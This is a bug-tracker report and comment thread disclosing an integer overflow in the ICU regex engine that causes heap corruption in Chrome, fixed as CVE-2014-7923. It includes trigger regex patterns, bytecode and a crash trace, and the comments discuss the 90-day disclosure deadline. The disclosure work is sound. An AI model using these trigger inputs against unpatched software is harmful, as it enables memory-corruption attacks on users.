New issue
Advanced search Search tips
Starred by 2 users
Status: Fixed
Owner:
Closed: Jan 2015
Cc:



Sign in to add a comment
Chrome heap underflow caused by integer issue in ICU regex engine
Project Member Reported by markbrand@google.com, Nov 11 2014 Back to list
Integer overflow issues in URX_BUILD (source/i18n/regeximp.h)

#define URX_BUILD(type, val) (int32_t)((type << 24) | (val))

val is expected to be a 24-bit integer, and can overflow into type if it can be
larger.

Issues occur in RegexCompile::doParseActions in a large proportion of
instructions, and as a result of the compiled pattern size, the frame size or
the data size being larger than 0x1000000.

Two examples with regexes to trigger the issue:

1) '()' * (0x1000000 / 3) triggers the issue in doOpenCaptureParen

fixLiterals();
fRXPat->fCompiledPat->addElement(URX_BUILD(URX_NOP, 0), *fStatus);
int32_t  varsLoc    = fRXPat->fFrameSize;    // Reserve three slots in match stack frame.
fRXPat->fFrameSize += 3;
int32_t  cop        = URX_BUILD(URX_START_CAPTURE, varsLoc);  <----------------- HERE
fRXPat->fCompiledPat->addElement(cop, *fStatus);
fRXPat->fCompiledPat->addElement(URX_BUILD(URX_NOP, 0), *fStatus);


2) Heap underflow after converting URX_STO_SP to URX_LD_SP

'(' + 'A++' * 0x1000000 + '){0}B++'

This will compile to the following bytecode:

Index   Binary     Type             Operand
-------------------------------------------
   0   06000002    STATE_SAVE       2
   1   0d000003    JMP              3
   2   0e000000    FAIL
   3   21000000    LD_SP            0          <------------------------------- This should be STO_SP
   4   03000042    ONECHAR          B
   5   06000007    STATE_SAVE       7
   6   0d000004    JMP              4
   7   21000000    LD_SP            0
   8   02000000    END

If this is matched against the string 'BCD' this will result in the following calculation

inputIdx=0   inputChar=42   sp=  0   activeLimit=3     0   06000002    STATE_SAVE       2
inputIdx=0   inputChar=42   sp=  5   activeLimit=3     1   0d000003    JMP              3
inputIdx=0   inputChar=42   sp=  5   activeLimit=3     3   21000000    LD_SP            0
re(37889,0x7fff7aff2310) malloc: *** error for object 0xffffffffffffffff: pointer being freed was not allocated

This has triggered a heap underflow in URX_LD_SP:

case URX_LD_SP:
    {
        U_ASSERT(opValue >= 0 && opValue < fPattern->fDataSize);
        int32_t newStackSize = (int32_t)fData[opValue];
        U_ASSERT(newStackSize <= fStack->size());
        int64_t *newFP = fStack->getBuffer() + newStackSize - fFrameSize; <---- newStackSize == 0
        if (newFP == (int64_t *)fp) {
            break;
        }
        int32_t i;
        for (i=0; i<fFrameSize; i++) {
            newFP[i] = ((int64_t *)fp)[i]; <----------------------------------- Heap corruption
        }
        fp = (REStackFrame *)newFP;
        fStack->setSize(newStackSize);
    }
    break;

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 
Comment 1 by cevans@google.com, Nov 12 2014
Cc: ianbeer@google.com
Mark, is this the same as https://code.google.com/p/chromium/issues/detail?id=430353 ? It sounds pretty similar, I've cc:ed you on that issue.
Comment 2 by cevans@google.com, Nov 19 2014
Mark, if it's the same issue, should we just close this issue as Invalid?
Comment 3 by cevans@google.com, Jan 22 2015
The bug that we think this is a duplicate of got fixed in Chrome 40: http://googlechromereleases.blogspot.com/2015/01/stable-update.html

Mark, should we just move this bug to Fixed?
Project Member Comment 4 by markbrand@google.com, Jan 22 2015
Yep, I believe the second patchset for the issues reported under this bug were scheduled for M40. ianbeer@ and I were discussing this yesterday; we thought that the correct approach for chromium bugs was either 90 day deadline, or when the chromium issue has the security restriction removed. Does that sound sane?
Comment 5 by cevans@google.com, Jan 22 2015
Labels: CVE-2014-7923
Status: Fixed
Marking bug as Fixed.

Chromium issues should be treated the same as any others. So there's a 90-day deadline (which was not exceeded in this case), and view restrictions can be stripped no earlier than 7 days after the patch (for the case where deadlines are met).
Project Member Comment 6 by markbrand@google.com, Jun 26 2015
Labels: -Restrict-View-Commit
Derestricting this (very belatedly); issue was fixed within deadline - forgot about it after the 22nd; should have been derestricted in late January.

Also a little confused as I don't seem to have linked to the relevant chrome bug; the only reason I kept this issue open was the other issues reported on there, that ended up with separate fixes from upstream; so adding that link here now

https://code.google.com/p/chromium/issues/detail?id=432209
Comment 7 by cevans@google.com, Jun 26 2015
Labels: Fixed-2015-Jan-21
Looks like it's tagged as fixed in Chrome 40.

http://googlechromereleases.blogspot.com/2015/01/stable-update.html

Let's use the Fixed label so we can track vendor performance at some later date. Adding Fixed-2015-Jan-21
Sign in to add a comment